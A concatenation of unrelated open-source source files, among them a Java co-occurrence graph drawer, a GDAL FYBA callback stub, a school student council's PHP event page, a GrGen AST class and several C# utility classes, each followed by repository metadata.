getChartData().getValue(series, aClassName).doubleValue() / getChartData().getTotalForSeries(series); if (percentage >= getMinThreshold()) numberOfSeriesContainingClass++; } final double percentageOfSeriesContainingClass = 100.0 * numberOfSeriesContainingClass / (double) getChartData().getNumberOfSeries(); if (percentageOfSeriesContainingClass >= getMinPrevalence() && percentageOfSeriesContainingClass <= getMaxPrevalence()) { final Node v = graph.newNode(); final NodeData nodeData = new NodeData(); nodeData.setLabel(aClassName); v.setData(nodeData); className2Node.put(aClassName, v); nodeData.setPrevalence(numberOfSeriesContainingClass); } } final String[] series = getChartData().getSeriesNames().toArray(new String[0]); final int n = series.length; if (n >= 2) { // setup edges for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { final String classA = ((NodeData) v.getData()).getLabel(); for (Node w = v.getNext(); w != null; w = w.getNext()) { final String classB = ((NodeData) w.getData()).getLabel(); final float score; switch (method) { default: case Jaccard: { final Set<String> intersection = new HashSet<>(); final Set<String> union = new HashSet<>(); for (String series1 : series) { double total = getChartData().getTotalForSeries(series1); double percentage1 = 100.0 * getChartData().getValue(series1, classA).doubleValue() / total; double percentage2 = 100.0 * getChartData().getValue(series1, classB).doubleValue() / total; if (percentage1 >= getMinThreshold() || percentage2 >= getMinThreshold()) { union.add(series1); } if (percentage1 > getMinThreshold() && percentage2 >= getMinThreshold()) { intersection.add(series1); } } if (union.size() > 0) { final boolean positive; if (isShowCoOccurring() && !isShowAntiOccurring()) positive = true; else if (!isShowCoOccurring() && isShowAntiOccurring()) positive = false; else positive = (intersection.size() >= 0.5 * union.size()); if (positive) score = ((float) intersection.size() / (float) union.size()); else score = -((float) (union.size() - intersection.size()) / (float) union.size()); } else score = 0; break; } case PearsonsR: { double meanA = 0; double meanB = 0; for (String series1 : series) { meanA += getChartData().getValue(series1, classA).doubleValue(); meanB += getChartData().getValue(series1, classB).doubleValue(); } meanA /= n; meanB /= n; double valueTop = 0; double valueBottomA = 0; double valueBottomB = 0; for (String series1 : series) { final double a = getChartData().getValue(series1, classA).doubleValue(); final double b = getChartData().getValue(series1, classB).doubleValue(); valueTop += (a - meanA) * (b - meanB); valueBottomA += (a - meanA) * (a - meanA); valueBottomB += (b - meanB) * (b - meanB); } valueBottomA = Math.sqrt(valueBottomA); valueBottomB = Math.sqrt(valueBottomB); score = (float) (valueTop / (valueBottomA * valueBottomB)); break; } case KendallsTau: { int countConcordant = 0; int countDiscordant = 0; for (int i = 0; i < series.length; i++) { String series1 = series[i]; double aIn1 = getChartData().getValue(series1, classA).doubleValue(); double bIn1 = getChartData().getValue(series1, classB).doubleValue(); for (int j = i + 1; j < series.length; j++) { String series2 = series[j]; double aIn2 = getChartData().getValue(series2, classA).doubleValue(); double bIn2 = getChartData().getValue(series2, classB).doubleValue(); if (aIn1 != aIn2 && bIn1 != bIn2) { if ((aIn1 < aIn2) == (bIn1 < bIn2)) countConcordant++; else countDiscordant++; } } } if (countConcordant + countDiscordant > 0) score = (float) (countConcordant - countDiscordant) / (float) (countConcordant + countDiscordant); else score = 0; //System.err.println(classA+" vs "+classB+": conc: "+countConcordant+" disc: "+countDiscordant+" score: "+score); } break; } if (showCoOccurring && 100 * score >= getMinProbability() || showAntiOccurring && -100 * score >= getMinProbability()) { Edge e = graph.newEdge(className2Node.get(classA), className2Node.get(classB)); graph.setInfo(e, score); edgeValue.put(e, score); // negative value indicates anticorrelated } } } } } /** * do embedding of graph */ private void embedGraph() { final FruchtermanReingoldLayout fruchtermanReingoldLayout = new FruchtermanReingoldLayout(graph, null); final NodeArray<APoint2D<?>> coordinates = new NodeArray<>(graph); fruchtermanReingoldLayout.apply(1000, coordinates); boolean first = true; for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); nodeData.setLocation(coordinates.get(v).getX(), coordinates.get(v).getY()); if (first) { boundingBox.setRect(coordinates.get(v).getX(), coordinates.get(v).getY(), 1, 1); first = false; } else boundingBox.add(coordinates.get(v).getX(), coordinates.get(v).getY()); } boundingBox.setRect(boundingBox.getX() - maxRadius, boundingBox.getY() - maxRadius, boundingBox.getWidth() + 2 * maxRadius, boundingBox.getHeight() + 2 * maxRadius); } public int getMaxRadius() { return maxRadius; } public void setMaxRadius(int maxRadius) { this.maxRadius = maxRadius; } /** * draw the x axis * * @param gc */ protected void drawXAxis(Graphics2D gc) { } /** * draw the y-axis * * @param gc */ protected void drawYAxis(Graphics2D gc, Dimension size) { } protected void drawYAxisGrid(Graphics2D gc) { } public boolean canShowLegend() { return false; } public double getMinThreshold() { return minThreshold; } public void setMinThreshold(float minThreshold) { this.minThreshold = minThreshold; ProgramProperties.put("COMinThreshold", minThreshold); } public int getMinProbability() { return minProbability; } public void setMinProbability(int minProbability) { this.minProbability = minProbability; ProgramProperties.put("COMinProbability", minProbability); } public int getMinPrevalence() { return minPrevalence; } public void setMinPrevalence(int minPrevalence) { this.minPrevalence = minPrevalence; ProgramProperties.put("COMinPrevalence", minPrevalence); } public int getMaxPrevalence() { return maxPrevalence; } public void setMaxPrevalence(int maxPrevalence) { this.maxPrevalence = maxPrevalence; ProgramProperties.put("COMaxPrevalence", maxPrevalence); } public void setShowAntiOccurring(boolean showAntiOccurring) { this.showAntiOccurring = showAntiOccurring; ProgramProperties.put("COShowAntiOccurring", showAntiOccurring); } public boolean isShowAntiOccurring() { return showAntiOccurring; } public boolean isShowCoOccurring() { return showCoOccurring; } public void setShowCoOccurring(boolean showCoOccurring) { this.showCoOccurring = showCoOccurring; ProgramProperties.put("COShowCoOccurring", showCoOccurring); } public Method getMethod() { return method; } public void setMethod(Method method) { this.method = method; ProgramProperties.put("COMethod", method.toString()); } static class NodeData { private String label; private Integer prevalence; private Point2D location; String getLabel() { return label; } void setLabel(String label) { this.label = label; } Integer getPrevalence() { return prevalence; } void setPrevalence(Integer prevalence) { this.prevalence = prevalence; } Point2D getLocation() { return location; } public void setLocation(Point2D location) { this.location = location; } void setLocation(double x, double y) { this.location = new Point2D.Double(x, y); } } /** * must x and y coordinates by zoomed together? * * @return */ @Override public boolean isXYLocked() { return true; } /** * selects all nodes in the connected component hit by the mouse * * @param event * @return true if anything selected */ public boolean selectComponent(MouseEvent event) { final SelectionGraphics<String[]> selectionGraphics = new SelectionGraphics<>(getGraphics()); selectionGraphics.setMouseLocation(event.getPoint()); if (transpose) drawChartTransposed(selectionGraphics); else drawChart(selectionGraphics); Set<String> seriesToSelect = new HashSet<>(); Set<String> classesToSelect = new HashSet<>(); int count = 0; int size = selectionGraphics.getSelectedItems().size(); for (String[] pair : selectionGraphics.getSelectedItems()) { if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.Last && count++ < size - 1) continue; if (pair[0] != null) { seriesToSelect.add(pair[0]); } if (pair[1] != null) { classesToSelect.add(pair[1]); } if (selectionGraphics.getUseWhich() == SelectionGraphics.Which.First) break; } if (transpose) { } else { Set<Node> toVisit = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { NodeData nodeData = (NodeData) v.getData(); if (classesToSelect.contains(nodeData.getLabel())) { toVisit.add(v); } } while (toVisit.size() > 0) { Node v = toVisit.iterator().next(); toVisit.remove(v); selectRec(v, classesToSelect); } } if (seriesToSelect.size() > 0) getChartData().getChartSelection().setSelectedSeries(seriesToSelect, true); if (classesToSelect.size() > 0) getChartData().getChartSelection().setSelectedClass(classesToSelect, true); return seriesToSelect.size() > 0 || classesToSelect.size() > 0; } /** * recursively select all nodes in the same component * * @param v * @param selected */ private void selectRec(Node v, Set<String> selected) { for (Edge e = v.getFirstAdjacentEdge(); e != null; e = v.getNextAdjacentEdge(e)) { Node w = e.getOpposite(v); String label = ((NodeData) w.getData()).getLabel(); if (!selected.contains(label)) { selected.add(label); selectRec(w, selected); } } } /** * gets all the labels shown in the graph * * @return labels */ public Set<String> getAllVisibleLabels() { Set<String> labels = new HashSet<>(); for (Node v = graph.getFirstNode(); v != null; v = v.getNext()) { labels.add(((NodeData) v.getData()).getLabel()); } return labels; } @Override public JToolBar getBottomToolBar() { return new CoOccurrenceToolBar(viewer, this); } @Override public ScalingType getScalingTypePreference() { return ScalingType.SQRT; } @Override public String getChartDrawerName() { return NAME; } }
danielhuson/megan-ce
src/megan/chart/drawers/CoOccurrenceDrawer.java
Java
gpl-3.0
27,067
/****************************************************************************** * * Project: FYBA Callbacks * Purpose: Needed by FYBA - however we do not want to display most messages * Author: Thomas Hirsch, <thomas.hirsch statkart no> * ****************************************************************************** * Copyright (c) 2010, Thomas Hirsch * Copyright (c) 2010, Even Rouault <even dot rouault at spatialys.com> * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included * in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. ****************************************************************************/ #include <windows.h> #include "fyba.h" static short sProsent; void LC_Error(short feil_nr, const char *logtx, const char *vartx) { char szErrMsg[260] = {}; char *pszFeilmelding = NULL; // Translate all to English. // Egen enkel implementasjon av feilhandtering /* Hent feilmeldingstekst og strategi */ const short strategi = LC_StrError(feil_nr,&pszFeilmelding); switch(strategi) { case 2: sprintf(szErrMsg,"%s","Observer følgende! \n\n");break; case 3: sprintf(szErrMsg,"%s","Det er oppstått en feil! \n\n");break; case 4: sprintf(szErrMsg,"%s","Alvorlig feil avslutt programmet! \n\n");break; default: /*szErrMsg[0]='\0';*/ break; } } void LC_StartMessage(const char *pszFilnavn) {} void LC_ShowMessage(double prosent) // TODO: prosent? {} void LC_EndMessage(void) {} short LC_Cancel(void) { // Not supported. return FALSE; }
grueni75/GeoDiscoverer
Source/Platform/Target/Android/core/src/main/jni/gdal-3.2.1/ogr/ogrsf_frmts/sosi/fyba_melding.cpp
C++
gpl-3.0
2,499
package io.nadron.app.impl; public class InvalidCommandException extends Exception { /** * Eclipse generated serial id. */ private static final long serialVersionUID = 6458355917188516937L; public InvalidCommandException(String message) { super(message); } public InvalidCommandException(String message, Exception e) { super(message,e); } }
wangxiaogangan/EC_Game
Server/elementproject/nadron/src/main/java/io/nadron/app/impl/InvalidCommandException.java
Java
gpl-3.0
360
<?php include 'copyright.php' ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="description" content=""> <meta name="author" content=""> <title>Carnaval - BDL NDC </title> <?php include 'css.php';?> <?php include 'cssCA.php';?> <?php include 'js.php';?> <?php include_once("analyticstracking.php") ?> <?php include 'favicon.php';?> </head> <body> <?php include 'header.php';?> <div class="container"> <div class="row"> <div class="box"> <div> <a href="BH.php" class="linkbehaviour pull-left"> <i class="fa fa-lg fa-long-arrow-left"></i> <span class="fa-lg">Bal d'Hiver</span> </a> <a href="JDT.php"class="linkbehaviour pull-right arrows"> <span class="fa-lg">Journée des Talents</span> <i class="fa fa-lg fa-long-arrow-right"> </i> </a> </div> <br><br> <br><!-- <div class="camera-link text-center"> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1513152382046078"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°1</span> </a> <a href="https://www.facebook.com/pg/bdlndc1617/photos/?tab=album&album_id=1524974864197163"> <i class="fa fa-camera fa-3x"></i> <span class="text">Album n°2</span> </a> <br>Retrouve les photos du Carnaval 2017 ici ! </div>--> <hr class="tagline-divider"> <h3 class="text-center">Carnaval 2017</h3> <hr class="tagline-divider" style="margin-bottom:20px;"> <div class="col-lg-6"> <img class="img-responsive img-full" src="img/CA16-17.jpg"> </div> <div class="col-lg-6"> <p class="text-center">Suivant la restriction sur les déguisements pour Halloween, le BDL a décidé d'introduire une nouvelle journée à thème en mars.<br> Contrairement à d'habitude, le thème n'est pas fixé, mais choisi par vous et votre classe !!<br> Chaque classe choisit son propre thème, n'oubliez pas de faire participer vos professeurs principaux, ils n'attendent que ça !<br> L'évènement est prévu pour le jeudi 23 Mars, mais il devrait être décalé au jeudi 16 Mars au vu des différents séjours de classe prévu la semaine du 23.<br> Tenez-vous au courant !</p> </div> <!--<br> <hr> <br> <div class="col-lg-12"> <br> <hr> <br> <?php include 'slideCA.php' ?> </div> --> </div> </div> </div> <?php include 'footer.php';?> </body> </html>
BDL-NDC/bdlsite
CA.php
PHP
gpl-3.0
2,625
<?php /** * SfGuardPermission form. * * @package trialsites * @subpackage form * @author Herlin R. Espinosa G. - CIAT-DAPA * @version SVN: $Id: sfDoctrineFormTemplate.php 23810 2009-11-12 11:07:44Z Kris.Wallsmith $ */ class SfGuardPermissionForm extends BaseSfGuardPermissionForm { public function configure() { } }
CCAFS/CCAFS-AgTrialsV2
lib/form/doctrine/SfGuardPermissionForm.class.php
PHP
gpl-3.0
340
/* * GrGen: graph rewrite generator tool -- release GrGen.NET 4.4 * Copyright (C) 2003-2015 Universitaet Karlsruhe, Institut fuer Programmstrukturen und Datenorganisation, LS Goos; and free programmers * licensed under LGPL v3 (see LICENSE.txt included in the packaging of this file) * www.grgen.net */ /** * @author Edgar Jakumeit */ package de.unika.ipd.grgen.ast.exprevals; import java.util.Collection; import java.util.Map; import java.util.Vector; import de.unika.ipd.grgen.ast.*; import de.unika.ipd.grgen.ast.util.CollectResolver; import de.unika.ipd.grgen.ast.util.DeclarationResolver; import de.unika.ipd.grgen.ast.util.DeclarationTypeResolver; import de.unika.ipd.grgen.ir.IR; import de.unika.ipd.grgen.ir.InheritanceType; import de.unika.ipd.grgen.ir.exprevals.ExternalFunctionMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalProcedureMethod; import de.unika.ipd.grgen.ir.exprevals.ExternalType; /** * A class representing a node type */ public class ExternalTypeNode extends InheritanceTypeNode { static { setName(ExternalTypeNode.class, "external type"); } private CollectNode<ExternalTypeNode> extend; /** * Create a new external type * @param ext The collect node containing the types which are extended by this type. */ public ExternalTypeNode(CollectNode<IdentNode> ext, CollectNode<BaseNode> body) { this.extendUnresolved = ext; becomeParent(this.extendUnresolved); this.bodyUnresolved = body; becomeParent(this.bodyUnresolved); // allow the conditional operator on the external type OperatorSignature.makeOp(OperatorSignature.COND, this, new TypeNode[] { BasicTypeNode.booleanType, this, this }, OperatorSignature.condEvaluator ); } /** returns children of this node */ @Override public Collection<BaseNode> getChildren() { Vector<BaseNode> children = new Vector<BaseNode>(); children.add(getValidVersion(extendUnresolved, extend)); children.add(getValidVersion(bodyUnresolved, body)); return children; } /** returns names of the children, same order as in getChildren */ @Override public Collection<String> getChildrenNames() { Vector<String> childrenNames = new Vector<String>(); childrenNames.add("extends"); childrenNames.add("body"); return childrenNames; } private static final CollectResolver<ExternalTypeNode> extendResolver = new CollectResolver<ExternalTypeNode>( new DeclarationTypeResolver<ExternalTypeNode>(ExternalTypeNode.class)); @SuppressWarnings("unchecked") private static final CollectResolver<BaseNode> bodyResolver = new CollectResolver<BaseNode>( new DeclarationResolver<BaseNode>(ExternalFunctionDeclNode.class, ExternalProcedureDeclNode.class)); /** @see de.unika.ipd.grgen.ast.BaseNode#resolveLocal() */ @Override protected boolean resolveLocal() { body = bodyResolver.resolve(bodyUnresolved, this); extend = extendResolver.resolve(extendUnresolved, this); // Initialize direct sub types if (extend != null) { for (InheritanceTypeNode type : extend.getChildren()) { type.addDirectSubType(this); } } return body != null && extend != null; } /** * Get the IR external type for this AST node. * @return The correctly casted IR external type. */ protected ExternalType getExternalType() { return checkIR(ExternalType.class); } /** * Construct IR object for this AST node. * @see de.unika.ipd.grgen.ast.BaseNode#constructIR() */ @Override protected IR constructIR() { ExternalType et = new ExternalType(getDecl().getIdentNode().getIdent()); if (isIRAlreadySet()) { // break endless recursion in case of a member of node/edge type return getIR(); } else{ setIR(et); } constructIR(et); return et; } protected void constructIR(ExternalType extType) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { extType.addExternalFunctionMethod(n.checkIR(ExternalFunctionMethod.class)); } else { extType.addExternalProcedureMethod(n.checkIR(ExternalProcedureMethod.class)); } } for(InheritanceTypeNode inh : getExtends().getChildren()) { extType.addDirectSuperType((InheritanceType)inh.getType()); } } protected CollectNode<? extends InheritanceTypeNode> getExtends() { return extend; } @Override public void doGetCompatibleToTypes(Collection<TypeNode> coll) { assert isResolved(); for(ExternalTypeNode inh : extend.getChildren()) { coll.add(inh); coll.addAll(inh.getCompatibleToTypes()); } } public static String getKindStr() { return "external type"; } public static String getUseStr() { return "external type"; } @Override protected Collection<ExternalTypeNode> getDirectSuperTypes() { assert isResolved(); return extend.getChildren(); } @Override protected void getMembers(Map<String, DeclNode> members) { for(BaseNode n : body.getChildren()) { if(n instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode function = (ExternalFunctionDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalFunctionDeclNode) { ExternalFunctionDeclNode functionBase = (ExternalFunctionDeclNode)c; if(function.ident.toString().equals(functionBase.ident.toString())) checkSignatureAdhered(functionBase, function); } } } } else if(n instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedure = (ExternalProcedureDeclNode)n; for(InheritanceTypeNode base : getAllSuperTypes()) { for(BaseNode c : base.getBody().getChildren()) { if(c instanceof ExternalProcedureDeclNode) { ExternalProcedureDeclNode procedureBase = (ExternalProcedureDeclNode)c; if(procedure.ident.toString().equals(procedureBase.ident.toString())) checkSignatureAdhered(procedureBase, procedure); } } } } } } }
jblomer/GrGen.NET
frontend/de/unika/ipd/grgen/ast/exprevals/ExternalTypeNode.java
Java
gpl-3.0
5,929
using System; using System.Collections; using System.Collections.Generic; using System.Collections.ObjectModel; using System.IO; using System.Linq; namespace Abide.Tag { public class Block : ITagBlock, IEnumerable<Field>, IEquatable<Block> { private string name = string.Empty; private string displayName = string.Empty; private int alignment = 4; private int maximumElementCount = 0; public ObservableCollection<Field> Fields { get; } = new ObservableCollection<Field>(); public long BlockAddress { get; private set; } = 0; public int Size => GetBlockSize(); public int FieldCount => Fields.Count; public virtual int Alignment { get => alignment; private set => alignment = value; } public virtual int MaximumElementCount { get => maximumElementCount; private set => maximumElementCount = value; } public virtual string Name { get => name; private set => name = value; } public virtual string DisplayName { get => displayName; private set => displayName = value; } public string Label { get => GetLabel(); } protected Block() { } public object Clone() { Block b = new Block() { name = Name, displayName = DisplayName, alignment = Alignment, maximumElementCount = MaximumElementCount, BlockAddress = BlockAddress, }; foreach (var field in Fields) { b.Fields.Add((Field)field.Clone()); } return b; } public bool Equals(Block other) { bool equals = Fields.Count == other.Fields.Count && Name == other.Name; if (equals) for (int i = 0; i < Fields.Count; i++) { if (!equals) break; Field f1 = Fields[i], f2 = other.Fields[i]; equals &= f1.Type == f2.Type; if (equals) switch (Fields[i].Type) { case FieldType.FieldBlock: BlockField bf1 = (BlockField)f1; BlockField bf2 = (BlockField)f2; equals &= bf1.BlockList.Count == bf2.BlockList.Count; if (equals) for (int j = 0; j < bf1.BlockList.Count; j++) if (equals) equals = bf1.BlockList[j].Equals(bf2.BlockList[j]); break; case FieldType.FieldStruct: equals &= ((Block)f1.GetValue()).Equals((Block)f2.GetValue()); break; case FieldType.FieldPad: PadField pf1 = (PadField)f1; PadField pf2 = (PadField)f2; for (int j = 0; j < pf1.Length; j++) if (equals) equals &= pf1.Data[j] == pf2.Data[j]; break; default: if (f1.GetValue() == null && f2.GetValue() == null) continue; else equals &= f1.GetValue().Equals(f2.GetValue()); break; } } return equals; } public override string ToString() { return DisplayName; } public virtual void Initialize() { } public virtual void Read(BinaryReader reader) { if (reader == null) throw new ArgumentNullException(nameof(reader)); BlockAddress = reader.BaseStream.Position; foreach (Field field in Fields) { field.Read(reader); } } public virtual void Write(BinaryWriter writer) { if (writer == null) throw new ArgumentNullException(nameof(writer)); BlockAddress = writer.BaseStream.Position; foreach (Field field in Fields) { field.Write(writer); } } public virtual void Overwrite(BinaryWriter writer) { foreach (Field field in Fields) { field.Overwrite(writer); } } public virtual void PostWrite(BinaryWriter writer) { foreach (Field field in Fields) { field.PostWrite(writer); } } protected virtual string GetLabel() { if (Fields.Any(f => f.IsBlockName)) { return string.Join(", ", Fields .Where(f => f.IsBlockName) .Select(f => f.GetValueString())); } return DisplayName; } private int GetBlockSize() { int size = Fields.Sum(f => f.Size); return size; } public virtual IEnumerator<Field> GetEnumerator() { return Fields.GetEnumerator(); } ITagField ITagBlock.this[int index] { get => Fields[index]; set { if (value is Field field) { Fields[index] = field; } throw new ArgumentException("Invalid field.", nameof(value)); } } int ITagBlock.Size => Size; int ITagBlock.MaximumElementCount => MaximumElementCount; int ITagBlock.Alignment => Alignment; string ITagBlock.BlockName => Name; string ITagBlock.DisplayName => DisplayName; void ITagBlock.Initialize() { Initialize(); } void IReadable.Read(BinaryReader reader) { Read(reader ?? throw new ArgumentNullException(nameof(reader))); } void IWritable.Write(BinaryWriter writer) { Write(writer ?? throw new ArgumentNullException(nameof(writer))); } IEnumerator<ITagField> IEnumerable<ITagField>.GetEnumerator() { foreach (var field in Fields) yield return field; } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } } }
MikeMatt16/Abide
Abide.Guerilla/Abide.Tag/Block.cs
C#
gpl-3.0
6,725
import { Component, OnInit } from '@angular/core'; import { Serie } from './model/serie.model'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { constructor() { } ngOnInit() { } }
jorgeas80/webhub
ng2/appseries/src/app/app.component.ts
TypeScript
gpl-3.0
301
#region header // ======================================================================== // Copyright (c) 2018 - Julien Caillon (julien.caillon@gmail.com) // This file (PositionTracker.cs) is part of 3P. // // 3P is a free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // 3P is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with 3P. If not, see <http://www.gnu.org/licenses/>. // ======================================================================== #endregion using System; namespace _3PA.Lib.CommonMark.Parser { internal sealed class PositionTracker { public PositionTracker(int blockOffset) { _blockOffset = blockOffset; } private static readonly PositionOffset EmptyPositionOffset = default(PositionOffset); private int _blockOffset; public void AddBlockOffset(int offset) { _blockOffset += offset; } public void AddOffset(LineInfo line, int startIndex, int length) { if (OffsetCount + line.OffsetCount + 2 >= Offsets.Length) Array.Resize(ref Offsets, Offsets.Length + line.OffsetCount + 20); PositionOffset po1, po2; if (startIndex > 0) po1 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset, false, true), startIndex); else po1 = EmptyPositionOffset; if (line.Line.Length - startIndex - length > 0) po2 = new PositionOffset( CalculateOrigin(line.Offsets, line.OffsetCount, line.LineOffset + startIndex + length, false, true), line.Line.Length - startIndex - length); else po2 = EmptyPositionOffset; var indexAfterLastCopied = 0; if (po1.Offset == 0) { if (po2.Offset == 0) goto FINTOTAL; po1 = po2; po2 = EmptyPositionOffset; } for (var i = 0; i < line.OffsetCount; i++) { var pc = line.Offsets[i]; if (pc.Position > po1.Position) { if (i > indexAfterLastCopied) { Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, i - indexAfterLastCopied); OffsetCount += i - indexAfterLastCopied; indexAfterLastCopied = i; } Offsets[OffsetCount++] = po1; po1 = po2; if (po1.Offset == 0) goto FIN; po2 = EmptyPositionOffset; } } FIN: if (po1.Offset != 0) Offsets[OffsetCount++] = po1; if (po2.Offset != 0) Offsets[OffsetCount++] = po2; FINTOTAL: Array.Copy(line.Offsets, indexAfterLastCopied, Offsets, OffsetCount, line.OffsetCount - indexAfterLastCopied); OffsetCount += line.OffsetCount - indexAfterLastCopied; } public int CalculateInlineOrigin(int position, bool isStartPosition) { return CalculateOrigin(Offsets, OffsetCount, _blockOffset + position, true, isStartPosition); } internal static int CalculateOrigin(PositionOffset[] offsets, int offsetCount, int position, bool includeReduce, bool isStart) { if (isStart) position++; var minus = 0; for (var i = 0; i < offsetCount; i++) { var po = offsets[i]; if (po.Position < position) { if (po.Offset > 0) position += po.Offset; else minus += po.Offset; } else break; } if (includeReduce) position += minus; if (isStart) position--; return position; } private PositionOffset[] Offsets = new PositionOffset[10]; private int OffsetCount; } }
jcaillon/3P
3PA/Lib/CommonMark/Parser/PositionTracker.cs
C#
gpl-3.0
4,594
using MaterialSkin.Controls; using System; using System.Drawing; using System.Windows.Forms; using WinFormsTranslator; /// <summary> /// SA:MP launcher .NET namespace /// </summary> namespace SAMPLauncherNET { /// <summary> /// Connect form class /// </summary> public partial class ConnectForm : MaterialForm { /// <summary> /// Username /// </summary> public string Username { get { return usernameSingleLineTextField.Text.Trim(); } } /// <summary> /// Server password /// </summary> public string ServerPassword { get { return serverPasswordSingleLineTextField.Text; } } /// <summary> /// Constructor /// </summary> /// <param name="noPasswordMode">No password mode</param> public ConnectForm(bool noPasswordMode) { InitializeComponent(); Utils.Translator.TranslateControls(this); usernameSingleLineTextField.Text = SAMP.Username; if (noPasswordMode) { serverPasswordLabel.Visible = false; serverPasswordSingleLineTextField.Visible = false; Size sz = new Size(MinimumSize.Width, MinimumSize.Height - 55); MaximumSize = sz; MinimumSize = sz; } } /// <summary> /// Accept input /// </summary> private void AcceptInput() { if (Username.Length <= 0) { MessageBox.Show(Utils.Translator.GetTranslation("PLEASE_TYPE_IN_USERNAME"), Utils.Translator.GetTranslation("INPUT_ERROR"), MessageBoxButtons.OK, MessageBoxIcon.Error); } else { bool success = true; if (serverPasswordSingleLineTextField.Visible && (ServerPassword.Trim().Length <= 0)) { success = (MessageBox.Show(Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY"), Utils.Translator.GetTranslation("SERVER_PASSWORD_FIELD_IS_EMPTY_TITLE"), MessageBoxButtons.YesNo, MessageBoxIcon.Warning) == DialogResult.Yes); } if (success) { if (!(tempUsernameCheckBox.Checked)) { SAMP.Username = Username; } DialogResult = DialogResult.OK; Close(); } } } /// <summary> /// Connect button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void connectButton_Click(object sender, EventArgs e) { AcceptInput(); } /// <summary> /// Cancel button click event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Event arguments</param> private void cancelButton_Click(object sender, EventArgs e) { Close(); } /// <summary> /// Generic single line text field key up event /// </summary> /// <param name="sender">Sender</param> /// <param name="e">Key event arguments</param> private void genericSingleLineTextField_KeyUp(object sender, KeyEventArgs e) { if (e.KeyCode == Keys.Return) { AcceptInput(); } else if (e.KeyCode == Keys.Escape) { Close(); } } } }
BigETI/SAMPLauncherNET
SAMPLauncherNET/Source/SAMPLauncherNET/UI/Forms/ConnectForm.cs
C#
gpl-3.0
3,748
using System.ComponentModel; namespace SmartLogReader { public enum WorkerProgressCode { StartedWork, StillWorking, FinishedWork, CustomCode } public class Worker { public Worker() { worker = new BackgroundWorker(); worker.WorkerReportsProgress = true; worker.WorkerSupportsCancellation = true; worker.DoWork += WorkerDoWork; worker.ProgressChanged += WorkerProgressChanged; worker.RunWorkerCompleted += WorkerRunWorkerCompleted; } protected BackgroundWorker worker; public delegate void WorkerProgressChangedEventHandler(object sender, WorkerProgressCode code, string text); public event WorkerProgressChangedEventHandler ProgressChanged; protected virtual void ReportProgress(WorkerProgressCode code, string text = null) { if (worker.IsBusy) { try { worker.ReportProgress((int)code, text); return; } catch { } } ProgressChanged?.Invoke(this, code, text); } void WorkerProgressChanged(object sender, ProgressChangedEventArgs e) { ProgressChanged?.Invoke(this, (WorkerProgressCode)e.ProgressPercentage, e.UserState as string); } void WorkerRunWorkerCompleted(object sender, RunWorkerCompletedEventArgs e) { AfterWork(e); ProgressChanged?.Invoke(this, WorkerProgressCode.FinishedWork, e.Cancelled ? "Cancelled" : e.Error != null ? ("Error: " + e.Error.Message) : null); } void WorkerDoWork(object sender, DoWorkEventArgs e) { doWorkEventArgs = e; AtWork(); } protected DoWorkEventArgs doWorkEventArgs; public virtual bool IsBusy { get { return worker.IsBusy; } } public virtual bool Start() { if (IsBusy) return false; worker.RunWorkerAsync(); return true; } public virtual void Stop() { if (IsBusy) worker.CancelAsync(); } protected virtual void AtWork() { ReportProgress(WorkerProgressCode.StartedWork); if (worker.CancellationPending) { doWorkEventArgs.Cancel = true; return; } ReportProgress(WorkerProgressCode.StillWorking); } protected virtual void AfterWork(RunWorkerCompletedEventArgs e) { } } }
wolfoerster/SmartLogReader
Utilities/Worker.cs
C#
gpl-3.0
2,751
